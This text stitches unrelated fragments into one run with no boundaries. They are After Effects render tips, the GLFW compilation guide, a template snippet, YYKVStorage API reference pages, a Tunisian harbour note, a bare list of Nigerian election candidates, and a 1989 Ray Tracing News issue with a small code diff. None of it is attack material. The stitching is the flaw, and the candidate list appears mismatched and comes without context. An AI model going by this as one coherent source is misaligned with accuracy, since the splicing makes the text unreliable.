Prearing project
Preparing your project is pretty simple and straightfoward, but you must understand one thing - if your project contains lots of heavy effects and it's total RAM usage hitting the top of your total available RAM, then lots of aerenders could just crash while rendering. To avoid this, you can follow this simple steps:
- Try limiting Cache and/or RAM usage. When each aerender process has unlimited access to memory it can cause memory overloading and further rendering crashes.
- Try optimizing your Adobe After Effects project. Sometimes just some basic project optimization tips like "reducing resolution" or "disabling motion blur with 60 FPS" or even "using less performance-expencive effects/plugins" could help you render your project without any noticeable differences in final result.
(as in our case, Mograph Practice benchmark wasn't been able to render even on our fastest test bench, before some optimizations)
- Allocate more disk space for cache or clean your disc cache inside Adobe After Effects settings. Go to Preferences -> Media & Disk Cache and set bigger disk cache size or clean it there.
- Finally, try to update your PC configuration: add more RAM, buy better CPU/GPU or replace your cache drive from HDD to SSD.


This is about compiling the GLFW library itself. For information on how to build applications that use GLFW, see Building applications.
GLFW uses CMake to generate project files or makefiles for your chosen development environment. To compile GLFW, first generate these files with CMake and then use them to compile the GLFW library.
If you are on Windows and macOS you can download CMake from their site.
If you are on a Unix-like system such as Linux, FreeBSD or Cygwin or have a package system like Fink, MacPorts or Homebrew, you can install its CMake package.
CMake is a complex tool and this guide will only show a few of the possible ways to set up and compile GLFW. The CMake project has their own much more detailed CMake user guide that includes everything in this guide not specific to GLFW. It may be a useful companion to this one.
The C/C++ development environments in Visual Studio, Xcode and MinGW come with all necessary dependencies for compiling GLFW, but on Unix-like systems like Linux and FreeBSD you will need a few extra packages.
To compile GLFW for X11, you need to have the X11 development packages installed. They are not needed to build or run programs that use GLFW.
On Debian and derivates like Ubuntu and Linux Mint the xorg-dev
meta-package pulls in the development packages for all of X11.
On Fedora and derivatives like Red Hat the X11 extension packages libXcursor-devel
, libXi-devel
, libXinerama-devel
and libXrandr-devel
required by GLFW pull in all its other dependencies.
On FreeBSD the X11 headers are installed along the end-user X11 packages, so if you have an X server running you should have the headers as well. If not, install the xorgproto
package.
On Cygwin the libXcursor-devel
, libXi-devel
, libXinerama-devel
, libXrandr-devel
and libXrender-devel
packages in the Libs section of the GUI installer will install all the headers and other development related files GLFW requires for X11.
Once you have the required depdendencies, move on to Generating build files with CMake.
To compile GLFW for Wayland, you need to have the Wayland and xkbcommon development packages installed. They are not needed to build or run programs that use GLFW.
On Debian and derivates like Ubuntu and Linux Mint you will need the libwayland-dev
, libxkbcommon-dev
, wayland-protocols
and extra-cmake-modules
packages.
On Fedora and derivatives like Red Hat you will need the wayland-devel
, libxkbcommon-devel
, wayland-protocols-devel
and extra-cmake-modules
packages.
On FreeBSD you will need the wayland
, libxkbcommon
, wayland-protocols
and kf5-extra-cmake-modules
packages.
Once you have the required depdendencies, move on to Generating build files with CMake.
Once you have all necessary dependencies it is time to generate the project files or makefiles for your development environment. CMake needs two paths for this:
src
subdirectory)If these are the same, it is called an in-tree build, otherwise it is called an out-of-tree build.
Out-of-tree builds are recommended as they avoid cluttering up the source tree. They also allow you to have several build directories for different configurations all using the same source tree.
A common pattern when building a single configuration is to have a build directory named build
in the root of the source tree.
Start the CMake GUI and set the paths to the source and build directories described above. Then press Configure and Generate.
If you wish change any CMake variables in the list, press Configure and then Generate to have the new values take effect. The variable list will be populated after the first configure step.
By default GLFW will use X11 on Linux and other Unix-like systems other than macOS. To use Wayland instead, set the GLFW_USE_WAYLAND
option in the GLFW section of the variable list, then apply the new value as described above.
Once you have generated the project files or makefiles for your chosen development environment, move on to Compiling the library.
To make a build directory, pass the source and build directories to the cmake
command. These can be relative or absolute paths. The build directory is created if it doesn't already exist.
It is common to name the build directory build
and place it in the root of the source tree when only planning to build a single configuration.
Without other flags these will generate Visual Studio project files on Windows and makefiles on other platforms. You can choose other targets using the -G
flag.
By default GLFW will use X11 on Linux and other Unix-like systems other than macOS. To use Wayland instead, set the GLFW_USE_WAYLAND
CMake option.
Once you have generated the project files or makefiles for your chosen development environment, move on to Compiling the library.
You should now have all required dependencies and the project files or makefiles necessary to compile GLFW. Go ahead and compile the actual GLFW library with these files as you would with any other project.
With Visual Studio open GLFW.sln
and use the Build menu. With Xcode open GLFW.xcodeproj
and use the Project menu.
With Linux, macOS and other forms of Unix, run make
.
With MinGW, it is mingw32-make
.
Any CMake build directory can also be built with the cmake
command and the --build
flag.
This will run the platform specific build tool the directory was generated for.
Once the GLFW library is compiled you are ready to build your application, linking it to the GLFW library. See Building applications for more information.
The CMake files for GLFW provide a number of options, although not all are available on all supported platforms. Some of these are de facto standards among projects using CMake and so have no GLFW_
prefix.
If you are using the GUI version of CMake, these are listed and can be changed from there. If you are using the command-line version of CMake you can use the ccmake
ncurses GUI to set options. Some package systems like Ubuntu and other distributions based on Debian GNU/Linux have this tool in a separate cmake-curses-gui
package.
Finally, if you don't want to use any GUI, you can set options from the cmake
command-line with the -D
flag.
BUILD_SHARED_LIBS determines whether GLFW is built as a static library or as a DLL / shared library / dynamic library. This is disabled by default, producing a static GLFW library.
GLFW_BUILD_EXAMPLES determines whether the GLFW examples are built along with the library.
GLFW_BUILD_TESTS determines whether the GLFW test programs are built along with the library.
GLFW_BUILD_DOCS determines whether the GLFW documentation is built along with the library. This is enabled by default if Doxygen is found by CMake during configuration.
GLFW_VULKAN_STATIC determines whether to use the Vulkan loader linked directly with the application. This is disabled by default.
USE_MSVC_RUNTIME_LIBRARY_DLL determines whether to use the DLL version or the static library version of the Visual C++ runtime library. When enabled, the DLL version of the Visual C++ library is used. This is enabled by default.
On CMake 3.15 and later you can set the standard CMake CMAKE_MSVC_RUNTIME_LIBRARY variable instead of this GLFW-specific option.
GLFW_USE_HYBRID_HPG determines whether to export the NvOptimusEnablement
and AmdPowerXpressRequestHighPerformance
symbols, which force the use of the high-performance GPU on Nvidia Optimus and AMD PowerXpress systems. These symbols need to be exported by the EXE to be detected by the driver, so the override will not work if GLFW is built as a DLL. This is disabled by default, letting the operating system and driver decide.
GLFW_USE_WAYLAND determines whether to compile the library for Wayland. This option is only available on Linux and other Unix-like systems other than macOS. This is disabled by default.
Both Cygwin and many Linux distributions have MinGW or MinGW-w64 packages. For example, Cygwin has the mingw64-i686-gcc
and mingw64-x86_64-gcc
packages for 32- and 64-bit version of MinGW-w64, while Debian GNU/Linux and derivatives like Ubuntu have the mingw-w64
package for both.
GLFW has CMake toolchain files in the CMake
subdirectory that set up cross-compilation of Windows binaries. To use these files you set the CMAKE_TOOLCHAIN_FILE
CMake variable with the -D
flag add an option when configuring and generating the build files.
The exact toolchain file to use depends on the prefix used by the MinGW or MinGW-w64 binaries on your system. You can usually see this in the /usr directory. For example, both the Ubuntu and Cygwin MinGW-w64 packages have /usr/x86_64-w64-mingw32
for the 64-bit compilers, so the correct invocation would be:
The path to the toolchain file is relative to the path to the GLFW source tree passed to the -S
flag, not to the current directory.
For more details see the CMake toolchain guide.
If you wish to compile GLFW without its CMake build environment then you will have to do at least some of the platform detection yourself. GLFW needs a configuration macro to be defined in order to know what window system it is being compiled for and also has optional, platform-specific ones for various features.
When building with CMake, the glfw_config.h
configuration header is generated based on the current platform and CMake options. The GLFW CMake environment defines GLFW_USE_CONFIG_H, which causes this header to be included by internal.h
. Without this macro, GLFW will expect the necessary configuration macros to be defined on the command-line.
The window creation API is used to create windows, handle input, monitors, gamma ramps and clipboard. The options are:
If you are building GLFW as a shared library / dynamic library / DLL then you must also define _GLFW_BUILD_DLL. Otherwise, you must not define it.
If you are linking the Vulkan loader directly with your application then you must also define _GLFW_VULKAN_STATIC. Otherwise, GLFW will attempt to use the external version.
If you are using a custom name for the Vulkan, EGL, GLX, OSMesa, OpenGL, GLESv1 or GLESv2 library, you can override the default names by defining those you need of _GLFW_VULKAN_LIBRARY, _GLFW_EGL_LIBRARY, _GLFW_GLX_LIBRARY, _GLFW_OSMESA_LIBRARY, _GLFW_OPENGL_LIBRARY, _GLFW_GLESV1_LIBRARY and _GLFW_GLESV2_LIBRARY. Otherwise, GLFW will use the built-in default names.
Last update on Fri Jul 22 2022 for GLFW 3.3.8


{% extends 'base.html' %} {% block cssstyle %} {% endblock %} {% block pagecontent %} {% include "navigation.html" %}
{{ project.description }}
Are you sure you want to delete this project?


YYKVStorage Class Reference
| Inherits from | NSObject |
|---|---|
| Declared in | YYKVStorage.h YYKVStorage.m |
Overview
YYKVStorage is a key-value storage based on sqlite and file system. Typically, you should not use this class directly.
The designated initializer for YYKVStorage is initWithPath:type:
.
After initialized, a directory is created based on the path
to hold key-value data.
Once initialized you should not read or write this directory without the instance.
You may compile the latest version of sqlite and ignore the libsqlite3.dylib in iOS system to get 2x~4x speed up.
Warning: The instance of this class is NOT thread safe, you need to make sure that there’s only one thread to access the instance at the same time. If you really need to process large amounts of data in multi-thread, you should split the data to multiple KVStorage instance (sharding).
Attribute
path
The path of this storage.
@property (nonatomic, readonly) NSString *path
Discussion
The path of this storage.
Declared In
YYKVStorage.h
type
The type of this storage.
@property (nonatomic, readonly) YYKVStorageType type
Discussion
The type of this storage.
Declared In
YYKVStorage.h
errorLogsEnabled
Set YES
to enable error logs for debug.
@property (nonatomic) BOOL errorLogsEnabled
Discussion
Set YES
to enable error logs for debug.
Declared In
YYKVStorage.h
Initializer
– initWithPath:type:
The designated initializer.
- (nullable instancetype)initWithPath:(NSString *)path type:(YYKVStorageType)type
Parameters
path |
Full path of a directory in which the storage will write data. If the directory is not exists, it will try to create one, otherwise it will read the data in this directory. |
|---|---|
type |
The storage type. After first initialized you should not change the type of the specified path. |
Return Value
A new storage object, or nil if an error occurs.
Discussion
The designated initializer.
Warning: Multiple instances with the same path will make the storage unstable.
Declared In
YYKVStorage.h
Save Items
– saveItem:
Save an item or update the item with ‘key’ if it already exists.
- (BOOL)saveItem:(YYKVStorageItem *)item
Parameters
item |
An item. |
|---|
Return Value
Whether succeed.
Discussion
Save an item or update the item with ‘key’ if it already exists.
This method will save the item.key, item.value, item.filename and item.extendedData to disk or sqlite, other properties will be ignored. item.key and item.value should not be empty (nil or zero length).
If the type
is YYKVStorageTypeFile, then the item.filename should not be empty.
If the type
is YYKVStorageTypeSQLite, then the item.filename will be ignored.
It the type
is YYKVStorageTypeMixed, then the item.value will be saved to file
system if the item.filename is not empty, otherwise it will be saved to sqlite.
Declared In
YYKVStorage.h
– saveItemWithKey:value:
Save an item or update the item with ‘key’ if it already exists.
- (BOOL)saveItemWithKey:(NSString *)key value:(NSData *)value
Parameters
key |
The key, should not be empty (nil or zero length). |
|---|---|
value |
The key, should not be empty (nil or zero length). |
Return Value
Whether succeed.
Discussion
Save an item or update the item with ‘key’ if it already exists.
This method will save the key-value pair to sqlite. If the type
is
YYKVStorageTypeFile, then this method will failed.
Declared In
YYKVStorage.h
– saveItemWithKey:value:filename:extendedData:
Save an item or update the item with ‘key’ if it already exists.
- (BOOL)saveItemWithKey:(NSString *)key value:(NSData *)value filename:(nullable NSString *)filename extendedData:(nullable NSData *)extendedData
Parameters
key |
The key, should not be empty (nil or zero length). |
|---|---|
value |
The key, should not be empty (nil or zero length). |
filename |
The filename. |
extendedData |
The extended data for this item (pass nil to ignore it). |
Return Value
Whether succeed.
Discussion
Save an item or update the item with ‘key’ if it already exists.
@discussion
If the type
is YYKVStorageTypeFile, then the filename
should not be empty.
If the type
is YYKVStorageTypeSQLite, then the filename
will be ignored.
It the type
is YYKVStorageTypeMixed, then the value
will be saved to file
system if the filename
is not empty, otherwise it will be saved to sqlite.
Declared In
YYKVStorage.h
Remove Items
– removeItemForKey:
Remove an item with ‘key’.
- (BOOL)removeItemForKey:(NSString *)key
Parameters
key |
The item’s key. |
|---|
Return Value
Whether succeed.
Discussion
Remove an item with ‘key’.
Declared In
YYKVStorage.h
– removeItemForKeys:
Remove items with an array of keys.
- (BOOL)removeItemForKeys:(NSArray<NSString*> *)keys
Parameters
keys |
An array of specified keys. |
|---|
Return Value
Whether succeed.
Discussion
Remove items with an array of keys.
Declared In
YYKVStorage.h
– removeItemsLargerThanSize:
Remove all items which value
is larger than a specified size.
- (BOOL)removeItemsLargerThanSize:(int)size
Parameters
size |
The maximum size in bytes. |
|---|
Return Value
Whether succeed.
Discussion
Remove all items which value
is larger than a specified size.
Declared In
YYKVStorage.h
– removeItemsEarlierThanTime:
Remove all items which last access time is earlier than a specified timestamp.
- (BOOL)removeItemsEarlierThanTime:(int)time
Parameters
time |
The specified unix timestamp. |
|---|
Return Value
Whether succeed.
Discussion
Remove all items which last access time is earlier than a specified timestamp.
Declared In
YYKVStorage.h
– removeItemsToFitSize:
Remove items to make the total size not larger than a specified size. The least recently used (LRU) items will be removed first.
- (BOOL)removeItemsToFitSize:(int)maxSize
Parameters
maxSize |
The specified size in bytes. |
|---|
Return Value
Whether succeed.
Discussion
Remove items to make the total size not larger than a specified size. The least recently used (LRU) items will be removed first.
Declared In
YYKVStorage.h
– removeItemsToFitCount:
Remove items to make the total count not larger than a specified count. The least recently used (LRU) items will be removed first.
- (BOOL)removeItemsToFitCount:(int)maxCount
Parameters
maxCount |
The specified item count. |
|---|
Return Value
Whether succeed.
Discussion
Remove items to make the total count not larger than a specified count. The least recently used (LRU) items will be removed first.
Declared In
YYKVStorage.h
– removeAllItems
Remove all items in background queue.
- (BOOL)removeAllItems
Return Value
Whether succeed.
Discussion
Remove all items in background queue.
This method will remove the files and sqlite database to a trash
folder, and then clear the folder in background queue. So this method is much
faster than removeAllItemsWithProgressBlock:endBlock:
.
Declared In
YYKVStorage.h
– removeAllItemsWithProgressBlock:endBlock:
Remove all items.
- (void)removeAllItemsWithProgressBlock:(nullable void ( ^ ) ( int removedCount , int totalCount ))progress endBlock:(nullable void ( ^ ) ( BOOL error ))end
Parameters
progress |
This block will be invoked during removing, pass nil to ignore. |
|---|---|
end |
This block will be invoked at the end, pass nil to ignore. |
Discussion
Remove all items.
Warning: You should not send message to this instance in these blocks.
Declared In
YYKVStorage.h
Get Items
– getItemForKey:
Get item with a specified key.
- (nullable YYKVStorageItem *)getItemForKey:(NSString *)key
Parameters
key |
A specified key. |
|---|
Return Value
Item for the key, or nil if not exists / error occurs.
Discussion
Get item with a specified key.
Declared In
YYKVStorage.h
– getItemInfoForKey:
Get item information with a specified key.
The value
in this item will be ignored.
- (nullable YYKVStorageItem *)getItemInfoForKey:(NSString *)key
Parameters
key |
A specified key. |
|---|
Return Value
Item information for the key, or nil if not exists / error occurs.
Discussion
Get item information with a specified key.
The value
in this item will be ignored.
Declared In
YYKVStorage.h
– getItemValueForKey:
Get item value with a specified key.
- (nullable NSData *)getItemValueForKey:(NSString *)key
Parameters
key |
A specified key. |
|---|
Return Value
Item’s value, or nil if not exists / error occurs.
Discussion
Get item value with a specified key.
Declared In
YYKVStorage.h
– getItemForKeys:
Get items with an array of keys.
- (nullable NSArray<YYKVStorageItem*> *)getItemForKeys:(NSArray<NSString*> *)keys
Parameters
keys |
An array of specified keys. |
|---|
Return Value
An array of YYKVStorageItem
, or nil if not exists / error occurs.
Discussion
Get items with an array of keys.
Declared In
YYKVStorage.h
– getItemInfoForKeys:
Get item infomartions with an array of keys.
The value
in items will be ignored.
- (nullable NSArray<YYKVStorageItem*> *)getItemInfoForKeys:(NSArray<NSString*> *)keys
Parameters
keys |
An array of specified keys. |
|---|
Return Value
An array of YYKVStorageItem
, or nil if not exists / error occurs.
Discussion
Get item infomartions with an array of keys.
The value
in items will be ignored.
Declared In
YYKVStorage.h
– getItemValueForKeys:
Get items value with an array of keys.
- (nullable NSDictionary<NSString*,NSData*> *)getItemValueForKeys:(NSArray<NSString*> *)keys
Parameters
keys |
An array of specified keys. |
|---|
Return Value
A dictionary which key is ‘key’ and value is ‘value’, or nil if not exists / error occurs.
Discussion
Get items value with an array of keys.
Declared In
YYKVStorage.h
Get Storage Status
– itemExistsForKey:
Whether an item exists for a specified key.
- (BOOL)itemExistsForKey:(NSString *)key
Parameters
key |
A specified key. |
|---|
Return Value
YES
if there’s an item exists for the key, NO
if not exists or an error occurs.
Discussion
Whether an item exists for a specified key.
Declared In
YYKVStorage.h
– getItemsCount
Get total item count.
- (int)getItemsCount
Return Value
Total item count, -1 when an error occurs.
Discussion
Get total item count.
Declared In
YYKVStorage.h
– getItemsSize
Get item value’s total size in bytes.
- (int)getItemsSize
Return Value
Total size in bytes, -1 when an error occurs.
Discussion
Get item value’s total size in bytes.
Declared In
YYKVStorage.h
Other Methods
– _reset
Delete all files and empty in background. Make sure the db is closed.
- (void)_reset
Discussion
Delete all files and empty in background. Make sure the db is closed.
Declared In
YYKVStorage.m


This port is on the north coast, close to the Algerian border and is usually the first landfall for yachts coming from the north. It is classified as a C yachting harbour, and borders the Montazah/Tabarka resort area. It is a useful stop if wishing to visit the underground Roman Villas at Bulla Regia, about 30 miles south of the port.
Position 36° 57' 33"N, 08° 45'52"E (harbour entrance)
This is a Port of Entry.
Some yachting facilities here.
There are banks, pharmacies, shops and restaurants in the town.
Last updated February 2013.


{{ message }}
{{ error }}
Candidate 1- Omoyele Sowore of the Revolution Now
Candidate 2- Goodluck Jonathan of the People's Democratic Party
Candidate 3- General Buhari of the All Progressive Congress


"Light Makes Right"
September 20, 1989
Volume 2, Number 6
Compiled by
All contents are copyright (c) 1989, all rights reserved by the individual authors
Archive locations: anonymous FTP at
ftp://ftp-graphics.stanford.edu/pub/Graphics/RTNews/,
wuarchive.wustl.edu:/graphics/graphics/RTNews, and many others.
You may also want to check out the Ray Tracing News issue guide and the ray tracing FAQ.
However, one major reason that I'm flushing the queue right now is that the node "hpfcrs" is disappearing off the face of the earth. So, please note my only valid address is the "wrath" path at the top of the issue. Thanks!
back to contents
To update my personal information in your files:
Surface mail: Panu Rekola Mannerheimintie 69 A 7 SF-00250 Helsinki, Finland Phone: +358-0-4513243 (work), +358-0-413082 (home) Email<EMAIL_ADDRESS>Interests: illumination models, texture mapping, parametric surfaces.
You may remove one of the names you may have in the contact list. Dr. Markku Tamminen died in the U.S. when he was returning home from SIGGRAPH. How his project will go on, is still somewhat unclear.
________
Andrew Pearce, pearce@alias
I wrote my MS thesis on Multiprocessor Ray Tracing, then moved to Alias where I sped up Mike Sweeney's ray caster. I've just completed writing the Alias Ray Tracer using a recursive uniform subdivision method (see Dave Jevans paper in Graphics Interface '89, "Adaptive Voxel Subdivision for Ray Tracing") with additional bounding box and triangle intersection speed ups.
Right now, I'm fooling around with using the guts of the ray tracer to do particle/object collision detection with complex environments, and particle/particle interaction with the search space reduced by the spatial subdivision. (No, I don't use the ray tracer to render the particles.)
In response to Susan Spach's question about mip mapping, we use mip maps for our textures, we get the sample size by using a "cone" size parameter which is based on the field of view, aspect ratio, distance to the surface and angle of incidence. For secondary rays this size parameter is modified based on the tangents to the surface and the type of secondary ray it is (reflection or refraction). This may be difficult to do if you are not ray tracing surfaces for which the tangent information is readily available (smooth shaded polygonal meshes?).
- Andrew Pearce - Alias Research Inc., Toronto, Ontario, Canada. -<EMAIL_ADDRESS>|<EMAIL_ADDRESS>- ...{allegra,ihnp4,watmath!utai}!utcsri!alias!pearce
________
Brian Corrie<EMAIL_ADDRESS>I am a graduate student at the University of Victoria, nearing the completion of my Masters degree. The topic of my thesis is producing realistic computer generated images in a distributed network environment. This consists of two major research areas: providing a distributed (in the parallel computing sense) system for ray tracing, as well as a workbench for scene description, and image manipulation. The problems that need to be addressed by a system for parallel processing in a distributed loosely coupled system are quite different than those addressed by a tightly coupled parallel processor system. Because of the (likely) very high cost of communication in a distributed processing environment, most parallel algorithms currently used are not feasible (due to the high overhead). The gains of parallel ray tracing in a distributed environment are: the obvious speedup by bringing more processing power to bear on the problem, the flexibility of distributed systems, and the availability of the resources that will become accessible as distributed systems become more prominent in the computer community.
Whew, what a mouthful. In a nutshell, I am interested in: ray tracing in general, parallel algorithms, distributed systems for image synthesis (any one know of any good references), and this new fangled radiosity stuff.
________
Joe Cychosz
Purdue University CADLAB Potter Engineering Center W. Lafayette, IN 47906
Phone:<PHONE_NUMBER> Email<EMAIL_ADDRESS>My interests are in supercomputing and computer graphics. Research work is Vectorized Ray Tracing. Other interests are: Ray tracing on MIMD tightly coupled shared memory machines, Algorithm vectorization, Mechanical design processes, Music synthesis, and Rendering in general.
________
Jerry Quinn Department of Math and Computer Science Bradley Hall Dartmouth College Hanover, NH 03755 sunapee.dartmouth.edu!quinn
My interests are currently ray tracing efficiency, parallelism, animation, radiosity, and whatever else happens to catch my eye at the given moment.
________
Marty Barrett - octrees, parametric surfaces, parallelism<EMAIL_ADDRESS>Here is some info about my interests in ray tracing:
I'm interested in efficient storage structures for ray tracing, including octree representations and hybrid regular subdivision/octree grids. I've looked at ray tracing of parametric surfaces, in particular Bezier patches and box spline surfaces, via triangular tessellations. Parallel implementations of ray tracing are also of interest to me.
________
Charles A. Clinton Sierra Geophysics, Inc. 11255 Kirkland Way Kirkland, WA 98033 USA Email: ...!uw-beaver!sumax!ole!steven!cac Voice:<PHONE_NUMBER> Telex:<PHONE_NUMBER> FAX:<PHONE_NUMBER>
I am doing scientific visualization of 3D seismic data. To see the kind of work that I am doing, check out:
'A Rendering Algorithm for Visualizing 3D Scaler Fields' Paolo Sabella Schlumberger-Doll Research Computer Graphics, Vol. 22, Number 4 (SIGGRAPH '88 Conference Proc.) pp 51-58
In addition, I try to keep up with ray-tracing and computer graphics in general. I occasionally try my hand at doing some artistic ray-tracing. (I would like to extend my thanks to Mark VandeWettering for distributing MTV. It has provided a wonderful platform for experimentation.)
________
Jochen Schwarze
I've been developing several smaller graphics packages, e.g. a 3D visualization of turning parts etc. Now I'm implementing the 2nd version of a ray tracing program that supports modular programming using a description language, C++ vector analysis and body class hierarchy, CSG trees, texture functions and mapping, a set of body primitives, including typeface rendering for logos, and a network ipc component to allow several cpu's to calculate a single image.
My interests lie - of course :-) - in speedup techniques, and the simulation of natural phenomena, clouds, water, etc. Just starting with this.
Jochen Schwarze Domain<EMAIL_ADDRESS>ISA GmbH, Stuttgart, West Germany UUCP<EMAIL_ADDRESS>Bang: ...!uunet!unido!isaak!schwarze
S-Mail: ISA GmbH c/o Jochen Schwarze Azenberstr. 35 7000 Stuttgart 1 West Germany
back to contents
I am currently working on rewriting my ray tracer to employ radiosity-like effects. Your paper (with Wallace and Elmquist) is very nice, and suggests a really straightforward implementation. I just have a couple of questions that you might be able to answer.
When you shoot energy from a source patch, it is collected at a specific patch vertex. How does this energy get transferred to a given patch for secondary shooting? In particular, is the vertex shared between multiple patches, or is each vertex only in a single patch? I can imagine the solution if each vertex is distinct, but have trouble with the case where vertices are shared. Any quick insights?
The only other question I have is: HOW DO YOU GET SUCH NICE MODELS TO RENDER? [We use ME30, HP's Romulus based solids modeler - EAH]
Is there a public domain modeling package that is available for suns or sgi's that I can use to make more sophisticated models? Something cheap even?
[The BRL modeler and ray tracer runs on a large number of machines, and they like having universities as users - see Vol.2 No. 2 (archive 6). According to Mike Muuss' write-up, some department in Princeton already has a copy.
The Simple Surface Modeler (SSM) works on SGI equipment. It was developed at the Johnson Space Center and, since they are not supposed to make any money off it, is being sold cheap (?) by a commercial distributor. COSMIC, at<PHONE_NUMBER>, can send you some information on it. It also runs on a Pixel Machine (which is what I saw it running on at SIGGRAPH 88), though I don't believe support for this machine will be shipped. It's evidentally not shipping yet (red tape - the product is done), but should be "realsoonnow". More information when I get the abstract. Does anyone else know any resources?]
________
Reply from John Wallace:
Computing the patch energy in progressive radiosity using ray tracing:
Following a step of progressive radiosity, every mesh vertex in the scene will have a radiosity. Energy is not actually collected at the mesh vertices. What is computed at each vertex is the energy per unit area (radiosity) leaving the surface at that location. The patch radiosity is the average energy per unit area over the patch. Finally, the patch energy is the patch radiosity times the patch area (energy per unit area times area).
The vertex radiosities can be considered a sampling of the energy per unit area at selected points across the patch. To obtain the average energy per unit area over the patch, take the average of the vertex radiosities. This assumes that the vertices represent uniform sub-areas of the patch. This is not necessarily true, and when it is not a more accurate answer is obtained by taking an area weighted average of the vertex radiosity. The weight given to a vertex is equal to the area of the patch that it represents. In our work we used a uniform mesh and weighted all vertices equally.
It doesn't matter whether vertices are shared by neighboring patches, since we're talking about energy per unit area. Picture four patches that happen to all share a particular vertex. The energy per unit area leaving any of the patches at the vertex is not affected by the fact that other patches share that vertex. If we were somehow collecting energy at the vertex, then it would have to be portioned out between the patches.
Once the patch radiosity is know, the patch energy is obtained by multiplying patch radiosity times patch area.
back to contents
I happened to mention the idea to Roy Hall, and he told me that this was an undocumented feature of the Wavefront package! Last year Wavefront came out with an image of two pieces of pottery behind a candle, with wonderful texturing on the objects. It turns out that the artist had wanted to tone down the brightness in some parts of the image, and so tried negative intensity light sources. This turned out to work just fine, and the artist mentioned this to Roy, who, as an implementer of this part of the package, had never considered that anyone would try this and so never restricted the intensity values to be non-negative.
back to contents
As was recently pointed out to me by Mike Schoenborn, the cylinder code in the version of the MTV raytracer is broken somewhat severely. Or at least it appeared to be so, what actually happens is that I forgot to normalize two vectors, which leads to interesting distortions and weird looking cylinders. Anyway, the bug is in cone.c, in the function MakeCone(). After the vectors cd -> cone_u and cd -> cone_v are created, they should be normalized. A context diff follows at the end of this. This makes the SPD "tree" look MUCH better. (And all this time I thought it was Eric's fault :-)
This bugfix will be worked into the next release, and I should also update the version on cs.uoregon.edu SOMETIME REAL SOON NOW (read, don't hold your breath TOO anxiously). Hope that this program continues to be of use... :-)
Somebody has some texture mapping code that they are sending me, I will probably try to integrate it in before I make my next release. I am also trying to get in spline surfaces, but am having difficulty to the point of frustration. Any recommendations on implementing them?
*** ../tmp/cone.c Fri Aug 25 20:25:52 1989 --- cone.c Fri Aug 25 21:31:04 1989 *************** *** 240,247 **** --- 240,251 ---- /* find two axes which are at right angles to cone_w */ + VecCross(cd -> cone_w, tmp, cd -> cone_u) ; VecCross(cd -> cone_u, cd -> cone_w, cd -> cone_v) ; + + VecNormalize(cd -> cone_u) ; + VecNormalize(cd -> cone_v) ; cd -> cone_min_d = VecDot(cd -> cone_w, cd -> cone_base) ; cd -> cone_max_d = VecDot(cd -> cone_w, cd -> cone_apex) ;
back to contents
The original program was written by David B. Wecker, translating from a Vax 11/750 to the Amiga, with a conversion to Sun workstations by Ofer Licht (ofer@gandalf.berkeley.edu). - EAH]
Below is an excerpt from the documentation RAY.DOC:
The RAY program knows how to create images composed of four primitive geometric objects: spheres, parallelograms, triangles, and flat circular rings (disks with holes in them). Some of the features of the program are:
Diffuse and specular reflections (with arbitrary levels of gloss or polish). Rudimentary modeling of object-to-object diffusely reflected light is also implemented, that among other things accurately simulates color bleed effects from adjacent contrasting colored objects.
Mirror reflections, including varying levels of mirror smoothness or perfection.
Refraction and translucency (which is akin to variable microscopic smoothness, like the surface of etched glass).
Two types of light sources: purely directional (parallel rays from infinity) of constant intensity, and spherical sources (like light bulbs, which cast penumbral shadows as a function of radius and distance) where intensity is determined by the inverse square law.
Photographic depth-of-field. That is, the virtual camera may be focused on a particular object in the scene, and the virtual camera's aperture can be manipulated to affect the sharpness of foreground and background objects.
Solid texturing. Normally, a particular object (say a sphere) is considered to have constant properties (like color) over the entire surface of the object, often resulting in fake looking objects. Solid texturing is a way to algorithmically change the surface properties of an object (thus the entire surface area is no longer of constant nature) to try and model some real world material. Currently the program has built in rules for modelling wood, marble, bricks, snow covered scenes, water (with arbitrary wave sources), plus more abstract things like color blend functions.
Fractals. The program implements what's known as recursive triangle subdivision, which creates all manners of natural looking surface shapes (like broken rock, mountains, etc.). The character of the fractal surface (degree of detail, roughness, etc.) is controlled by parameters fed to the program.
AI heuristics to complete computation of a scene within a user specified length of time. [???]
back to contents
======== USENET cullings follow ==============
What I want to do is to turn a path consisting of line and arc segments around an axis and then ray-trace the generated turning part. The rotated line segments produce cylinders or cones that are easy to intersect with a ray, whereas the arcs produce tori. To evaluate the intersection of the ray with a torus I'd have to numerically solve a polynomial equation of fourth degree.
Does anybody know a way that avoids solving a general fourth- degree equation? Perhaps something that respects torus geometry and allows to split the equation into two quadric ones? Any other fast way to do it?
Thanks very much.
Jochen Schwarze Domain<EMAIL_ADDRESS>ISA GmbH, Stuttgart, West Germany UUCP<EMAIL_ADDRESS>Bang: ...!uunet!unido!isaak!schwarze
back to contents
________________________________________________________________ Didier BADOUEL<EMAIL_ADDRESS>INRIA / IRISA Phone : +33 99 36 20 00 Campus Universitaire de Beaulieu Fax : 99 38 38 32 35042 RENNES CEDEX - FRANCE Telex : UNIRISA 950 473F ________________________________________________________________
[Code removed. Find it at cs.uoregon.edu or write him - EAH]
back to contents
Robert Minsk had a question about how to do inverse mapping on a quadrilateral. This was my response:
For the inverse bilinear mapping of XYZ to UV, see p. 59-64 of "An Introduction to Ray Tracing", edited by Andrew Glassner, Academic Press (hot off the press). Tell me if you find any bugs, since I need to send typoes to AP. This same info is in the "Intro to RT" SIGGRAPH course notes from 1987 & 1988, with one important typo fixed (see old issues of the Ray Tracing News to find out the typo).
An excellent discussion of the most popular mappings (affine, bilinear, and projective), and for a discussion on why to avoid simple Gouraud interpolation, get a copy of Paul Heckbert's Master's Thesis (again, hot off the press), "Fundamentals of Texture Mapping and Image Warping". It's got what you need and is also a good start on sampling/filtering problems. Order it as Report No. UCB/CSD 89/516 (June 1989) from
Computer Science Division Dept of Electrical Engineering and Computer Sciences University of California Berkeley, California 94720
It was $5.50 when I ordered mine. Oh, I should also note: it has source code in C for most of the algorithms described in the text.
________
From<EMAIL_ADDRESS>(Prem Subrahmanyam) Newsgroups: comp.graphics Subject: Re: Texture mapping Organization: Florida State University Computing Center
